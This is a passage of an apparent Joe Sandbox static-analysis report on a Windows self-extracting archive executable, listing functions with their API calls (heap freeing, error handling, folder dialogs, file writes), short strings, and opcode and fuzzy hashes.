Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID:
String ID: .001$bz2$bzip2$gzip$haozip$part$rar$tar$zip
API String ID: 0-413841648
Opcode ID: bf88829e5b6e20b98f78a07ec3b15f3204c6db6c88ccd3976878ae91af8baf37
Instruction ID: eb4d3c58ba223fab1013e6ee4842dd700b3a190729f14e0eb7d3e0b051a213f3
Opcode Fuzzy Hash: bf88829e5b6e20b98f78a07ec3b15f3204c6db6c88ccd3976878ae91af8baf37
Instruction Fuzzy Hash: A1C15FB29105499ACF15EF95CC919EEF3FABF74310F10462AF41273195EB306A9ACB60

Function 00208293 Relevance: 16.2, APIs: 3, Strings: 6, Instructions: 498COMMON

Download Yara Rule

Strings

.exe, xrefs: 0020844B
exe, xrefs: 0020876E, 0020877A
file, xrefs: 002086B9, 002086BE, 002086C6
%.3d, xrefs: 00208513
.sfxv, xrefs: 0020840F
%.03d%s, xrefs: 00208619, 002087A7

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID:
String ID: %.03d%s$%.3d$.exe$.sfxv$exe$file
API String ID: 0-2984256549
Opcode ID: 2dc80b941c7968d7e3d4fb57cea73650a0e16ad6a20241a5796774f358f3e070
Instruction ID: 31e01c3e21889b59985e4102dc32d0c7dbdabc3f901c79b5e6ed80fdf2ab8d0a
Opcode Fuzzy Hash: 2dc80b941c7968d7e3d4fb57cea73650a0e16ad6a20241a5796774f358f3e070
Instruction Fuzzy Hash: 93126B711187819FC724EF61C896BAFB3E8BFA4304F40492DF59693192EF70A919CB52

Function 00222DE6 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00222DFA

Part of subcall function 00223185: RtlFreeHeap.NTDLL(00000000,00000000,?,00226168,?,00000000,?,00000000,?,0022618F,?,00000007,?,?,002265D1,?), ref: 0022319B
Part of subcall function 00223185: GetLastError.KERNEL32(?,?,00226168,?,00000000,?,00000000,?,0022618F,?,00000007,?,?,002265D1,?,?), ref: 002231AD

_free.LIBCMT ref: 00222E06
_free.LIBCMT ref: 00222E11
_free.LIBCMT ref: 00222E1C
_free.LIBCMT ref: 00222E27
_free.LIBCMT ref: 00222E32
_free.LIBCMT ref: 00222E3D
_free.LIBCMT ref: 00222E48
_free.LIBCMT ref: 00222E53
_free.LIBCMT ref: 00222E61

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d9e9b2da064ab49afb5a720ada99e01e64922ebb9cfa4d2ad4b72ff6f707c0fc
Instruction ID: 8dd83769ad69e2f80df603d0b4a807aed772644b447d2014bd2b0ddb9473cf56
Opcode Fuzzy Hash: d9e9b2da064ab49afb5a720ada99e01e64922ebb9cfa4d2ad4b72ff6f707c0fc
Instruction Fuzzy Hash: 5D114775520118BFDB05EF94ED42DDD3BA6EF04350B5141A9B9084F222DA36DB749F84

Function 001E9A2E Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

SHBrowseForFolderW.SHELL32(?), ref: 001E9AD3
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 001E9AE7
_wcslen.LIBCMT ref: 001E9AF8
GetDlgItem.USER32(?,000003EC), ref: 001E9B1B
SetWindowTextW.USER32(00000000,?), ref: 001E9B2F
SHGetMalloc.SHELL32(?), ref: 001E9B3C

Strings

A, xrefs: 001E9AAF

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: BrowseFolderFromItemListMallocPathTextWindow_wcslen
String ID: A
API String ID: 2175291554-3554254475
Opcode ID: 85173b21d914f1c1922e31f72f55b0a0b3c3939ec7b5151cdf1c83c9ea74b868
Instruction ID: 6c59d5da5611941d466d16d08e3ce0f0692d00c58f4cc8e605a7acd93d8dab83
Opcode Fuzzy Hash: 85173b21d914f1c1922e31f72f55b0a0b3c3939ec7b5151cdf1c83c9ea74b868
Instruction Fuzzy Hash: 35310E71901218ABCB60DF65EC8DADEB7B8EF58710F1001EAE90DE7151DB709A85CF61

Function 00222EDA Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0022080C,00244590,00000010), ref: 00222EDE
_free.LIBCMT ref: 00222F11
_free.LIBCMT ref: 00222F39
SetLastError.KERNEL32(00000000), ref: 00222F46
SetLastError.KERNEL32(00000000), ref: 00222F52
_abort.LIBCMT ref: 00222F58

Strings

x`$, xrefs: 00222F2C

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID: x`$
API String ID: 3160817290-4233981836
Opcode ID: 271b208a4e84df8a6fc5d1a71b0ecabc00e03fac7d2ebcfe7205cd964bd24976
Instruction ID: 53cd126b3fb57a64ea63fe05d5afefe670b801f2585969a10d3ed5df5b28e6b7
Opcode Fuzzy Hash: 271b208a4e84df8a6fc5d1a71b0ecabc00e03fac7d2ebcfe7205cd964bd24976
Instruction Fuzzy Hash: 02F02835134631B6C61277F87C4EB1B26399BC2722B210119F919925A2EF67C83A8861

Function 0021D2D0 Relevance: 10.9, APIs: 5, Strings: 1, Instructions: 433COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0021D2FB
___except_validate_context_record.LIBVCRUNTIME ref: 0021D303
_ValidateLocalCookies.LIBCMT ref: 0021D391
__IsNonwritableInCurrentImage.LIBCMT ref: 0021D3BC
_ValidateLocalCookies.LIBCMT ref: 0021D411

Strings

csm, xrefs: 0021D3A6

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 3d2d7d4edbc49f644a49789f2bc10b0d13bc6de2b16bb743b9aa0bfd75d8e1f9
Instruction ID: e8a35c53dac2f2f2a8a4ff509c815e37537ddc1f3f895224e878875474b0faf2
Opcode Fuzzy Hash: 3d2d7d4edbc49f644a49789f2bc10b0d13bc6de2b16bb743b9aa0bfd75d8e1f9
Instruction Fuzzy Hash: 11D17C36A24257CBDB208E6CD8803F9B7D2DFB2324F5C427AED545B281D7329DE69640

Function 0022932D Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,00229AA2,00000000,00000000,00000000,00000000,00000000,0021FD33), ref: 0022936F
__fassign.LIBCMT ref: 002293EA
__fassign.LIBCMT ref: 00229405
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 0022942B
WriteFile.KERNEL32(?,00000000,00000000,00229AA2,00000000,?,?,?,?,?,?,?,?,?,00229AA2,00000000), ref: 0022944A
WriteFile.KERNEL32(?,00000000,00000001,00229AA2,00000000,?,?,?,?,?,?,?,?,?,00229AA2,00000000), ref: 00229483

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 51d274b67a1b22c0e3754ac7b9165930582c5b0525f2a5bb3779d018cccd8203
Instruction ID: 7917c6207b8e46b90eb0df8473a6d1433417657c78c8ed53de95b3f5abc1f078
Opcode Fuzzy Hash: 51d274b67a1b22c0e3754ac7b9165930582c5b0525f2a5bb3779d018cccd8203
Instruction Fuzzy Hash: 3151A171A10219AFDB10DFA8E885BEEBBF8EF09300F14415AE959E7291D7709991CB60

Function 00226176 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0022613A: _free.LIBCMT ref: 00226163

_free.LIBCMT ref: 002261C4

Part of subcall function 00223185: RtlFreeHeap.NTDLL(00000000,00000000,?,00226168,?,00000000,?,00000000,?,0022618F,?,00000007,?,?,002265D1,?), ref: 0022319B
Part of subcall function 00223185: GetLastError.KERNEL32(?,?,00226168,?,00000000,?,00000000,?,0022618F,?,00000007,?,?,002265D1,?,?), ref: 002231AD

_free.LIBCMT ref: 002261CF
_free.LIBCMT ref: 002261DA
_free.LIBCMT ref: 0022622E
_free.LIBCMT ref: 00226239
_free.LIBCMT ref: 00226244
_free.LIBCMT ref: 0022624F

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 5d448493cb97f6898b05d0044a6cbd6ef4af6b7ca5eaa52c1646b37e4230bf75
Instruction ID: 3a8ab9f3d0d912d8565f71542f78bc9b83d2bce91ccd7b51e80240c9d99bc134
Opcode Fuzzy Hash: 5d448493cb97f6898b05d0044a6cbd6ef4af6b7ca5eaa52c1646b37e4230bf75
Instruction Fuzzy Hash: D8117273550724B6D920F7F0DC0BFCB779DAF40708F444818B69E6A193D628B5344E50

Function 00222F5E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00220A4C,0022494F,?,00222F08,00000001,00000364,?,0022080C,00244590,00000010), ref: 00222F63
_free.LIBCMT ref: 00222F98
_free.LIBCMT ref: 00222FBF
SetLastError.KERNEL32(00000000), ref: 00222FCC
SetLastError.KERNEL32(00000000), ref: 00222FD5

Strings

x`$, xrefs: 00222FB3

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: ErrorLast$_free
String ID: x`$
API String ID: 3170660625-4233981836
Opcode ID: b11c028cbf8fa2e6daf0938e98ee0d01092d4e51cf305113573ed9817a499a85
Instruction ID: 1cb60f97403cf143cfae6717615aa6c86b8a903c417afc2a27db79bfad04875b
Opcode Fuzzy Hash: b11c028cbf8fa2e6daf0938e98ee0d01092d4e51cf305113573ed9817a499a85
Instruction Fuzzy Hash: 7B017D36138631B7C6067BF4BD8DE1B213DDBC23713210119F81992591EF768C394530

Function 002222C8 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 002222E6

Part of subcall function 00223185: RtlFreeHeap.NTDLL(00000000,00000000,?,00226168,?,00000000,?,00000000,?,0022618F,?,00000007,?,?,002265D1,?), ref: 0022319B
Part of subcall function 00223185: GetLastError.KERNEL32(?,?,00226168,?,00000000,?,00000000,?,0022618F,?,00000007,?,?,002265D1,?,?), ref: 002231AD

_free.LIBCMT ref: 002222F8
_free.LIBCMT ref: 0022230B
_free.LIBCMT ref: 0022231C
_free.LIBCMT ref: 0022232D

Strings

d$, xrefs: 002222DC

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID: d$
API String ID: 776569668-3651395310
Opcode ID: bb5661b21fe0391414ac799dd3617e82467df1565dc0ddc37ecfa5032ba0e145
Instruction ID: 2c523bb772238277bf450fbd616be64685b02b664a402bb0c7d1e5ec1e16fa79
Opcode Fuzzy Hash: bb5661b21fe0391414ac799dd3617e82467df1565dc0ddc37ecfa5032ba0e145
Instruction Fuzzy Hash: 1AF03A79820231BBDF12EF98FC4D4463B65E707724391430AF81852274CB390AB2DF96

Function 00224A8B Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,002200A7,002200A7,?,?,?,00224CDC,00000001,00000001,D0E85006), ref: 00224AE5
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00224CDC,00000001,00000001,D0E85006,?,?,?), ref: 00224B6B
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,D0E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00224C65
__freea.LIBCMT ref: 00224C72

Part of subcall function 002231BF: RtlAllocateHeap.NTDLL(00000000,?,?,?,0021B1C1,?,?,001E1D09,00000018,1FE05385,?,0022E43A,000000FF), ref: 002231F1

__freea.LIBCMT ref: 00224C7B
__freea.LIBCMT ref: 00224CA0

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: b98f36bc68fabec2df150e79cf6dba5870da408e778b35a8603e25ca9eea44aa
Instruction ID: 16eeffb74dde10f17e33336ba7e5e0ebd4cd3cbc2a928ddba36e9acb9292fc01
Opcode Fuzzy Hash: b98f36bc68fabec2df150e79cf6dba5870da408e778b35a8603e25ca9eea44aa
Instruction Fuzzy Hash: 3F51F472621227BFDB25AFA8EC41EFF77A9EB40750F15462AFC04D6150DB74DC608AA0

Function 001E503B Relevance: 9.1, APIs: 6, Instructions: 68windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000400), ref: 001E507B
SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 001E5087
GetDlgItem.USER32(?,00000C35), ref: 001E5097
SendMessageW.USER32(00000000,000000CC,?,00000000), ref: 001E50B1
SetFocus.USER32(00000000), ref: 001E50B8
EndDialog.USER32(?,?), ref: 001E50D1

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: ItemMessageSend$DialogFocus
String ID:
API String ID: 2037629393-0
Opcode ID: 644eaa039518053c8bc78608027af194785f64f281cbd776b375a9ff93b2f4ed
Instruction ID: f37c49b81ecbae5a5817c07676206af88b6af86835de40efc4583e7ef74b92c9
Opcode Fuzzy Hash: 644eaa039518053c8bc78608027af194785f64f281cbd776b375a9ff93b2f4ed
Instruction Fuzzy Hash: 3C11C432600A50ABDB205F69DC8DF7E7BA9EB49714F124160F906DF1A0D7B1DC40D7A0

Function 0021D973 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0021D96A,0021CF89), ref: 0021D981
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0021D98F
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0021D9A8
SetLastError.KERNEL32(00000000,?,0021D96A,0021CF89), ref: 0021D9FA

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 88b69acffe05ccbd854992c24445349bb20d5433ab5f3cc7212317c7886ed017
Instruction ID: ca57576bae6df42171ac05d88c98eefab32fe1077b2207cbb83848f4b6a6eeed
Opcode Fuzzy Hash: 88b69acffe05ccbd854992c24445349bb20d5433ab5f3cc7212317c7886ed017
Instruction Fuzzy Hash: FB01287713E712AE9B341AB47CCDE9A2AE4FB73B757200329F811501E1EF510CE09550

Function 00221838 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,002217E9,00000003,?,00221789,00000003,002445D0,0000000C,002218E0,00000003,00000002), ref: 00221858
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0022186B
FreeLibrary.KERNEL32(00000000,?,?,?,002217E9,00000003,?,00221789,00000003,002445D0,0000000C,002218E0,00000003,00000002,00000000), ref: 0022188E

Strings

mscoree.dll, xrefs: 00221851
CorExitProcess, xrefs: 00221863

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: a0e3d24a6ec773ea87ae88163e33c6d940ca390ab13b7ef961dc9ff50d25dab5
Instruction ID: a2ed62739561b1e1ae66aea85c93d08e11f6dcd83bb76340295a22d00a76b561
Opcode Fuzzy Hash: a0e3d24a6ec773ea87ae88163e33c6d940ca390ab13b7ef961dc9ff50d25dab5
Instruction Fuzzy Hash: 96F04F71A21219BBDB159FA0EC5DBEEBFB8EB05711F4041A4F809A2150DB319960CAA1

Function 001F1F00 Relevance: 7.8, APIs: 5, Instructions: 337COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,1FE05385,?,00000208,00000000), ref: 001F1F48
GetModuleFileNameW.KERNEL32(00000000,?,00000104,?,00000208,00000000), ref: 001F1F73
_wcslen.LIBCMT ref: 001F1FB9
GetModuleFileNameW.KERNEL32(00000000,00000000,00000001,?,?,00000208,00000000), ref: 001F218D
_wcslen.LIBCMT ref: 001F21B2

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: Module$FileName_wcslen$Handle
String ID:
API String ID: 1548812663-0
Opcode ID: 102dace1492edde1cb4a6c109970e0e157e9e8ce5906dd481aac8264ed33f2b4
Instruction ID: b7168b4703ec00462dc2ab07bd73996af10eed23c9507095f3759c7f85820ca2
Opcode Fuzzy Hash: 102dace1492edde1cb4a6c109970e0e157e9e8ce5906dd481aac8264ed33f2b4
Instruction Fuzzy Hash: 4AC1F6B19002189BDB24DF24DC887BE77F5FF49314F2106A9E51AD7291EB349A84CF51

Function 00222079 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 002220EB
_free.LIBCMT ref: 0022210B

Memory Dump Source

